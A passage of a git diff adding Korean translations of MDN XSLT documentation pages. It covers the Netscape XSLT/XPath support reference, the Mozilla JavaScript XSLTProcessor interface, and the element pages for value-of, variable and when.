+</li><li> <a href="ko/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a> <i>(지원 안 함)</i>
+</li></ul>
+<h3 id=".EB.8D.94_.EC.9D.BD.EC.9D.84_.EA.B1.B0.EB.A6.AC"> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading">더 읽을 거리</a> </h3>
+<ul><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Books">Books</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Online">Online</a> <ul><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#The_World_Wide_Web_Consortium">The World Wide Web Consortium</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Portals">Portals</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Articles">Articles</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Tutorials.2FExamples">Tutorials/Examples</a> </li><li> <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading#Mailing_Lists.2FNewsgroups">Mailing Lists/Newsgroups</a>
+</li></ul>
+</li></ul>
+<h3 id=".EC.B0.BE.EC.95.84.EB.B3.B4.EA.B8.B0"> <a href="ko/Transforming_XML_with_XSLT/Index">찾아보기</a> </h3>
+<div class="originaldocinfo">
+<h3 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4"> 원본 문서 정보 </h3>
+<ul><li> 저작권 정보: Copyright © 2001-2003 Netscape. All rights reserved.
+</li><li> 주의: 이 재판 article은 원래 DevEdge 사이트 부분이었습니다.
+</li></ul>
+</div>
+{{ languages( { "en": "en/Transforming_XML_with_XSLT" } ) }}
diff --git a/files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html b/files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html
new file mode 100644
index 0000000000..22335e7998
--- /dev/null
+++ b/files/ko/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html
@@ -0,0 +1,380 @@
+---
+title: The Netscape XSLT/XPath Reference
+slug: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference
+---
+<p>다음은 W3C의 XSLT 1.0 권고안뿐만 아니라 XPath 권고안의 알맞은 절로부터 알파벳순으로 주석을 단 요소, 축, 함수 목록입니다. XSLT 처리기 개발이 진행중이고 이 문서는 기능을 확장하는 대로 갱신할 것입니다.</p>
+<h3 id=".EC.9A.94.EC.86.8C" name=".EC.9A.94.EC.86.8C"><a href="ko/XSLT/Elements">요소</a></h3>
+<h4 id="xsl:apply-imports" name="xsl:apply-imports"><a href="ko/XSLT/apply-imports">xsl:apply-imports</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:apply-templates" name="xsl:apply-templates"><a href="ko/XSLT/apply-templates">xsl:apply-templates</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:attribute" name="xsl:attribute"><a href="ko/XSLT/attribute">xsl:attribute</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:attribute-set" name="xsl:attribute-set"><a href="ko/XSLT/attribute-set">xsl:attribute-set</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:call-template" name="xsl:call-template"><a href="ko/XSLT/call-template">xsl:call-template</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:choose" name="xsl:choose"><a href="ko/XSLT/choose">xsl:choose</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:comment" name="xsl:comment"><a href="ko/XSLT/comment">xsl:comment</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:copy" name="xsl:copy"><a href="ko/XSLT/copy">xsl:copy</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:copy-of" name="xsl:copy-of"><a href="ko/XSLT/copy-of">xsl:copy-of</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:decimal-format" name="xsl:decimal-format"><a href="ko/XSLT/decimal-format">xsl:decimal-format</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:element" name="xsl:element"><a href="ko/XSLT/element">xsl:element</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:fallback" name="xsl:fallback"><a href="ko/XSLT/fallback">xsl:fallback</a></h4>
+<p>
+ <i>
+  (지원 안 함)</i>
+</p>
+<h4 id="xsl:for-each" name="xsl:for-each"><a href="ko/XSLT/for-each">xsl:for-each</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:if" name="xsl:if"><a href="ko/XSLT/if">xsl:if</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:import" name="xsl:import"><a href="ko/XSLT/import">xsl:import</a></h4>
+<p>
+ <i>
+  (대부분 지원함)</i>
+</p>
+<h4 id="xsl:include" name="xsl:include"><a href="ko/XSLT/include">xsl:include</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:key" name="xsl:key"><a href="ko/XSLT/key">xsl:key</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:message" name="xsl:message"><a href="ko/XSLT/message">xsl:message</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:namespace-alias" name="xsl:namespace-alias"><a href="ko/XSLT/namespace-alias">xsl:namespace-alias</a></h4>
+<p>
+ <i>
+  (지원 안 함)</i>
+</p>
+<h4 id="xsl:number" name="xsl:number"><a href="ko/XSLT/number">xsl:number</a></h4>
+<p>
+ <i>
+  (부분 지원함)</i>
+</p>
+<h4 id="xsl:otherwise" name="xsl:otherwise"><a href="ko/XSLT/otherwise">xsl:otherwise</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:output" name="xsl:output"><a href="ko/XSLT/output">xsl:output</a></h4>
+<p>
+ <i>
+  (부분 지원함)</i>
+</p>
+<h4 id="xsl:param" name="xsl:param"><a href="ko/XSLT/param">xsl:param</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:preserve-space" name="xsl:preserve-space"><a href="ko/XSLT/preserve-space">xsl:preserve-space</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:processing-instruction" name="xsl:processing-instruction"><a href="ko/XSLT/processing-instruction">xsl:processing-instruction</a></h4>
+<h4 id="xsl:sort" name="xsl:sort"><a href="ko/XSLT/sort">xsl:sort</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:strip-space" name="xsl:strip-space"><a href="ko/XSLT/strip-space">xsl:strip-space</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:stylesheet" name="xsl:stylesheet"><a href="ko/XSLT/stylesheet">xsl:stylesheet</a></h4>
+<p>
+ <i>
+  (부분 지원함)</i>
+</p>
+<h4 id="xsl:template" name="xsl:template"><a href="ko/XSLT/template">xsl:template</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:text" name="xsl:text"><a href="ko/XSLT/text">xsl:text</a></h4>
+<p>
+ <i>
+  (부분 지원함)</i>
+</p>
+<h4 id="xsl:transform" name="xsl:transform"><a href="ko/XSLT/transform">xsl:transform</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:value-of" name="xsl:value-of"><a href="ko/XSLT/value-of">xsl:value-of</a></h4>
+<p>
+ <i>
+  (부분 지원함)</i>
+</p>
+<h4 id="xsl:variable" name="xsl:variable"><a href="ko/XSLT/variable">xsl:variable</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:when" name="xsl:when"><a href="ko/XSLT/when">xsl:when</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="xsl:with-param" name="xsl:with-param"><a href="ko/XSLT/with-param">xsl:with-param</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h3 id=".EC.B6.95" name=".EC.B6.95"><a href="ko/XPath/Axes">축</a></h3>
+<h4 id="ancestor" name="ancestor"><a href="ko/XPath/Axes/ancestor">ancestor</a></h4>
+<h4 id="ancestor-or-self" name="ancestor-or-self"><a href="ko/XPath/Axes/ancestor-or-self">ancestor-or-self</a></h4>
+<h4 id="attribute" name="attribute"><a href="ko/XPath/Axes/attribute">attribute</a></h4>
+<h4 id="child" name="child"><a href="ko/XPath/Axes/child">child</a></h4>
+<h4 id="descendant" name="descendant"><a href="ko/XPath/Axes/descendant">descendant</a></h4>
+<h4 id="descendant-or-self" name="descendant-or-self"><a href="ko/XPath/Axes/descendant-or-self">descendant-or-self</a></h4>
+<h4 id="following" name="following"><a href="ko/XPath/Axes/following">following</a></h4>
+<h4 id="following-sibling" name="following-sibling"><a href="ko/XPath/Axes/following-sibling">following-sibling</a></h4>
+<h4 id="namespace" name="namespace"><a href="ko/XPath/Axes/namespace">namespace</a></h4>
+<dl>
+ <dd>
+  <i>
+   (지원 안 함)</i>
+ </dd>
+</dl>
+<h4 id="parent" name="parent"><a href="ko/XPath/Axes/parent">parent</a></h4>
+<h4 id="preceding" name="preceding"><a href="ko/XPath/Axes/preceding">preceding</a></h4>
+<h4 id="preceding-sibling" name="preceding-sibling"><a href="ko/XPath/Axes/preceding-sibling">preceding-sibling</a></h4>
+<h4 id="self" name="self"><a href="ko/XPath/Axes/self">self</a></h4>
+<h3 id=".ED.95.A8.EC.88.98" name=".ED.95.A8.EC.88.98"><a href="ko/XPath/Functions">함수</a></h3>
+<h4 id="boolean.28.29" name="boolean.28.29"><a href="ko/XPath/Functions/boolean">boolean()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="ceiling.28.29" name="ceiling.28.29"><a href="ko/XPath/Functions/ceiling">ceiling()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="concat.28.29" name="concat.28.29"><a href="ko/XPath/Functions/concat">concat()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="contains.28.29" name="contains.28.29"><a href="ko/XPath/Functions/contains">contains()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="count.28.29" name="count.28.29"><a href="ko/XPath/Functions/count">count()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="current.28.29" name="current.28.29"><a href="ko/XPath/Functions/current">current()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="document.28.29" name="document.28.29"><a href="ko/XPath/Functions/document">document()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="element-available.28.29" name="element-available.28.29"><a href="ko/XPath/Functions/element-available">element-available()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="false.28.29" name="false.28.29"><a href="ko/XPath/Functions/false">false()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="floor.28.29" name="floor.28.29"><a href="ko/XPath/Functions/floor">floor()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="format-number.28.29" name="format-number.28.29"><a href="ko/XPath/Functions/format-number">format-number()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="function-available.28.29" name="function-available.28.29"><a href="ko/XPath/Functions/function-available">function-available()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="generate-id.28.29" name="generate-id.28.29"><a href="ko/XPath/Functions/generate-id">generate-id()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="id.28.29" name="id.28.29"><a href="ko/XPath/Functions/id">id()</a></h4>
+<p>
+ <i>
+  (부분 지원함)</i>
+</p>
+<h4 id="key.28.29" name="key.28.29"><a href="ko/XPath/Functions/key">key()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="lang.28.29" name="lang.28.29"><a href="ko/XPath/Functions/lang">lang()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="last.28.29" name="last.28.29"><a href="ko/XPath/Functions/last">last()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="local-name.28.29" name="local-name.28.29"><a href="ko/XPath/Functions/local-name">local-name()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="name.28.29" name="name.28.29"><a href="ko/XPath/Functions/name">name()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="namespace-uri.28.29" name="namespace-uri.28.29"><a href="ko/XPath/Functions/namespace-uri">namespace-uri()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="normalize-space.28.29" name="normalize-space.28.29"><a href="ko/XPath/Functions/normalize-space">normalize-space()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="not.28.29" name="not.28.29"><a href="ko/XPath/Functions/not">not()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="number.28.29" name="number.28.29"><a href="ko/XPath/Functions/number">number()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="position.28.29" name="position.28.29"><a href="ko/XPath/Functions/position">position()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="round.28.29" name="round.28.29"><a href="ko/XPath/Functions/round">round()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="starts-with.28.29" name="starts-with.28.29"><a href="ko/XPath/Functions/starts-with">starts-with()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="string.28.29" name="string.28.29"><a href="ko/XPath/Functions/string">string()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="string-length.28.29" name="string-length.28.29"><a href="ko/XPath/Functions/string-length">string-length()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="substring.28.29" name="substring.28.29"><a href="ko/XPath/Functions/substring">substring()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="substring-after.28.29" name="substring-after.28.29"><a href="ko/XPath/Functions/substring-after">substring-after()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="substring-before.28.29" name="substring-before.28.29"><a href="ko/XPath/Functions/substring-before">substring-before()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="sum.28.29" name="sum.28.29"><a href="ko/XPath/Functions/sum">sum()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="system-property.28.29" name="system-property.28.29"><a href="ko/XPath/Functions/system-property">system-property()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="translate.28.29" name="translate.28.29"><a href="ko/XPath/Functions/translate">translate()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="true.28.29" name="true.28.29"><a href="ko/XPath/Functions/true">true()</a></h4>
+<p>
+ <i>
+  (지원함)</i>
+</p>
+<h4 id="unparsed-entity-url.28.29" name="unparsed-entity-url.28.29"><a href="ko/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a></h4>
+<p>
+ <i>
+  (지원 안 함)</i>
+</p>
+<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "ja": "ja/Transforming_XML_with_XSLT/The_Netscape_XSLT//XPath_Reference", "pl": "pl/Transformacje_XML_z_XSLT/Dokumentacja_XSLT//XPath" } ) }}</p>
diff --git a/files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html b/files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html
new file mode 100644
index 0000000000..c85fcc8029
--- /dev/null
+++ b/files/ko/web/xslt/using_the_mozilla_javascript_interface_to_xsl_transformations/index.html
@@ -0,0 +1,60 @@
+---
+title: Using the Mozilla JavaScript interface to XSL Transformations
+slug: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
+tags:
+  - XSLT
+translation_of: Web/XSLT/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
+---
+<p>이 문서는 Mozilla 1.2의 JavaScript 인터페이스부터 XSLT 처리 엔진(TransforMiiX)까지 설명합니다.</p>
+<h3 id="XSLTProcessor_.EB.A7.8C.EB.93.A4.EA.B8.B0" name="XSLTProcessor_.EB.A7.8C.EB.93.A4.EA.B8.B0">XSLTProcessor 만들기</h3>
+<p>시작하기 위해, <a href="ko/XSLTProcessor">XSLTProcessor</a> 개체 만들기가 필요합니다.</p>
+<pre class="eval">var processor = new XSLTProcessor();
+</pre>
+<h3 id=".EC.8A.A4.ED.83.80.EC.9D.BC.EC.8B.9C.ED.8A.B8_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0" name=".EC.8A.A4.ED.83.80.EC.9D.BC.EC.8B.9C.ED.8A.B8_.EC.A7.80.EC.A0.95.ED.95.98.EA.B8.B0">스타일시트 지정하기</h3>
+<p>쓸 수 있으려면 그 전에 <code>importStylesheet()</code> 함수로 스타일시트를 가져와야(import) 합니다. 가져올 XSLT 스타일시트의 DOM 노드인 매개변수가 하나 있습니다. 가져오기는 동적임을 (가져온 뒤로 스타일시트 DOM을 바꾸면, 이는 처리에 반영됨을 뜻함) 주의하세요. 그러나 DOM 수정 대신 스타일시트 매개변수 사용을 권장합니다. 이는 보통 더 쉽고 더 나은 성능을 줄 수 있습니다.</p>
+<pre>var testTransform = document.implementation.createDocument("", "test", null);
+// just an example to get a transform into a script as a DOM
+// XMLDocument.load is asynchronous, so all processing happens in the
+// onload handler
+testTransform.addEventListener("load", onload, false);
+testTransform.load("test-transform.xml");
+function onload() {
+  processor.importStylesheet(testTransform);
+}
+</pre>
+<p><code>importStylesheet</code>는 DOM 노드인 인수가 하나 필요합니다. 그 노드가 문서 노드면 전체 XSL Transform이나 <a class="external" href="http://www.w3.org/TR/xslt#result-element-stylesheet">literal result element transform</a>에 넘길 수 있습니다, 그렇지 않으면 &lt;tt&gt;xsl:stylesheet&lt;/tt&gt;나 &lt;tt&gt;xsl:transform&lt;/tt&gt; 요소이어야 합니다.</p>
+<h3 id=".EB.AC.B8.EC.84.9C_.EB.B3.80.ED.99.98.ED.95.98.EA.B8.B0" name=".EB.AC.B8.EC.84.9C_.EB.B3.80.ED.99.98.ED.95.98.EA.B8.B0">문서 변환하기</h3>
+<p>지정한 XSLT 스타일시트를 써서 문서를 변환하기 위해 <a href="#transformToDocument"><code>transformToDocument()</code></a>나 <a href="#transformToFragment"><code>transformToFragment()</code></a> 메소드를 쓸 수 있습니다.</p>
+<h4 id="transformToDocument" name="transformToDocument">transformToDocument</h4>
+<p><code>transformToDocument()</code>는 변환할 소스 노드인 인수를 하나 취하고 변환 결과를 갖는 새 DOM <code>Document</code>를 반환합니다.</p>
+<pre class="eval">var newDocument = processor.transformToDocument(domToBeTransformed);
+</pre>
+<p>결과 개체는 스타일시트의 <a class="external" href="http://www.w3.org/TR/xslt#output">output 메소드</a>가 &lt;tt&gt;html&lt;/tt&gt;이면 <code>HTMLDocument</code>, &lt;tt&gt;xml&lt;/tt&gt;이면 <code>XMLDocument</code>, &lt;tt&gt;text&lt;/tt&gt;이면 자식이 text인 단일 루트 요소 <code>&lt;transformiix:result&gt;</code>를 갖는 <code>XMLDocument</code>입니다.</p>
+<h4 id="transformToFragment" name="transformToFragment">transformToFragment</h4>
+<p>또한 DOM <code>DocumentFragment</code> 노드를 반환하는 <code>transformToFragment()</code>를 쓸 수 있습니다. 이는 조각(fragment)을 다른 노드에 투명하게 추가함이 그 조각의 자손 모두를 추가하고 조각 자체는 합치지(merge) 않기 때문에 편리합니다. 그러므로 조각은 여기저기 노드 옮기기와 전체 문서 개체의 overhead 없이 저장하기에 쓸모가 있습니다.</p>
+<p><code>transformToFragment</code>는 인수 둘을 취합니다. 변환할 소스 문서(위와 같이)와 조각(조각 모두는 문서가 소유해야 합니다)를 소유하는 <code>Document</code> 개체.</p>
+<pre class="eval">var ownerDocument = document.implementation.createDocument("", "test", null);
+var newFragment = processor.transformToFragment(domToBeTransformed, ownerDocument);
+</pre>
+<p><code>transformToFragment</code>는 소유자 문서 자신이 <code>HTMLDocument</code>이거나 스타일시트의 output 메소드가 HTML이면 오직 HTML DOM 개체를 만들어냅니다. 다만 결과의 최상위 요소가 <code>transformToFragment</code>로 이 요소를 만드는 데 좀처럼 쓰지 않는 <code>&lt;html&gt;</code>이면 HTML DOM 개체를 만들어내지 <b>않</b>습니다. 이를 재정의(override)하고 싶으면, 보통은 표준 방식으로 output 메소드를 설정할 수 있습니다.</p>
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_.EC.84.A4.EC.A0.95" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_.EC.84.A4.EC.A0.95">매개변수 설정</h3>
+<p><code>setParameter</code>, <code>getParameter</code>, <code>removeParameter</code> 메소드를 써서 <a class="external" href="http://www.w3.org/TR/xslt#variables">parameters for the stylesheet</a>를 조절할 수 있습니다. 이들은 모두 <code>setParameter</code> 메소드는 세 번째도 취하면서 처음 두 매개변수로 이름공간 URI와 지역명을 설정한 매개변수 값을 취합니다.</p>
+<h3 id=".EC.9E.AC.EC.84.A4.EC.A0.95" name=".EC.9E.AC.EC.84.A4.EC.A0.95">재설정</h3>
+<p><code>XSLTProcessor</code> 개체는 또한 모든 스타일시트와 매개변수를 제거하고 처리기(processor)를 초기 상태로 되돌리는 데 쓸 수 있는 <code>reset()</code> 메소드를 구현합니다. 이 메소드는 <a href="ko/Gecko">Mozilla</a> 1.3과 그 뒤에 구현됩니다.</p>
+<h3 id="Resources" name="Resources">Resources</h3>
+<ul>
+ <li><a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/public/nsIXSLTProcessor.idl" rel="custom">nsIXSLTProcessor.idl</a>는 항상 <code>XSLTProcessor</code> 개체의 실제 인터페이스를 반영합니다.
+  <ul>
+   <li><a class="external" href="http://xulplanet.com/references/objref/XSLTProcessor.html">A XULPlanet reference page</a>.</li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://lxr.mozilla.org/seamonkey/source/content/xslt/public/nsIXSLTProcessorObsolete.idl">The nsIXMLProcessorObsolete IDL file</a> <span class="icon-only-inline" title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span>: 1.2판보다 앞서는 Mozilla의 JS 인터페이스.</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h3>
+ <ul>
+  <li>저자: <a class="link-mailto" href="mailto:mike@theoretic.com">Mike Hearn</a></li>
+  <li>최종 업데이트: December 21, 2005</li>
+  <li>저작권 정보: Copyright (C) Mike Hearn</li>
+ </ul>
+</div>
diff --git a/files/ko/web/xslt/value-of/index.html b/files/ko/web/xslt/value-of/index.html
new file mode 100644
index 0000000000..90f1777bed
--- /dev/null
+++ b/files/ko/web/xslt/value-of/index.html
@@ -0,0 +1,31 @@
+---
+title: value-of
+slug: Web/XSLT/value-of
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/value-of
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:value-of&gt;</code> 요소는 XPath 식을 평가하여 그것을 문자열로 바꾸고 문자열을 결과 트리에 씁니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:value-of select=EXPRESSION disable-output-escaping="yes" | "no"  /&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  평가하고 출력 트리에 쓸 XPath 식을 지정합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>disable-output-escaping</code> (Netscape은 변환 결과를 "output" 아래에 직렬하지 않습니다. 그래서 이 속성은 본래 문맥에서는 무의미합니다. HTML 엔티티를 출력하기 위해서는, 대신 숫자값을 쓰세요. 보기 &amp;<code>nbsp</code> 대신 <code>&amp;#160</code>)</dt>
+ <dd>
+  특수 문자를 출력에 쓸 때 해석할(escape) 지를 지정합니다. 가능한 값은 "<code>yes</code>"나 "<code>no</code>"입니다. 예를 들어, "<code>yes</code>"로 하면, &lt;tt&gt;&gt;&lt;/tt&gt; 문자의 출력은 "<code>&amp;gt</code>"가 아니라 <code>&gt;</code>입니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#value-of">XSLT section 7.6.1, Generating Text with xsl:value-of</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>위 경우를 빼고는 지원함.</p>
diff --git a/files/ko/web/xslt/variable/index.html b/files/ko/web/xslt/variable/index.html
new file mode 100644
index 0000000000..8568f70b20
--- /dev/null
+++ b/files/ko/web/xslt/variable/index.html
@@ -0,0 +1,33 @@
+---
+title: variable
+slug: Web/XSLT/variable
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/variable
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:variable&gt;</code> 요소는 스타일시트에 전역 변수나 지역 변수를 선언하고 그 변수에 값을 줍니다. XSLT가 부작용(side-effect)을 허용하지 않기 때문에, 변수값을 한 번 주면 그 변수는 범위(scope)를 벗어날 때까지 같은 값입니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre>&lt;xsl:variable name=NAME select=EXPRESSION &gt;
+	TEMPLATE
+&lt;/xsl:variable&gt; </pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  변수에 이름을 줍니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  변수값을 XPath 식으로 정의합니다. 요소가 템플릿을 포함하면, 이 속성은 무시합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위 또는 명령. 최상위 요소로 나타나면, 변수의 범위는 전역이고 문서 전체에서 접근할 수 있습니다. 템플릿 안에 나타나면, 번수의 범위는 지역이고 나타난 템플릿 안에서만 접근할 수 있습니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#variables">XSLT section 11, Variables and Parameters</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/when/index.html b/files/ko/web/xslt/when/index.html
new file mode 100644
index 0000000000..4d5f52d9c3
--- /dev/null
+++ b/files/ko/web/xslt/when/index.html
@@ -0,0 +1,28 @@
+---
+title: when
+slug: Web/XSLT/when
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/when
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:when&gt;</code> 요소는 항상 case 문처럼 동작하는 <code>&lt;xsl:choose&gt;</code> 요소 안에 나타납니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:when test=EXPRESSION&gt;
+	TEMPLATE
+&lt;/xsl:when&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>test</code></dt>
+ <dd>
+  평가할 boolean 식을 지정합니다. 참이면, 요소의 컨텐트는 처리하고 거짓이면, 무시합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 항상 <code>&lt;xsl:choose&gt;</code> 요소 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
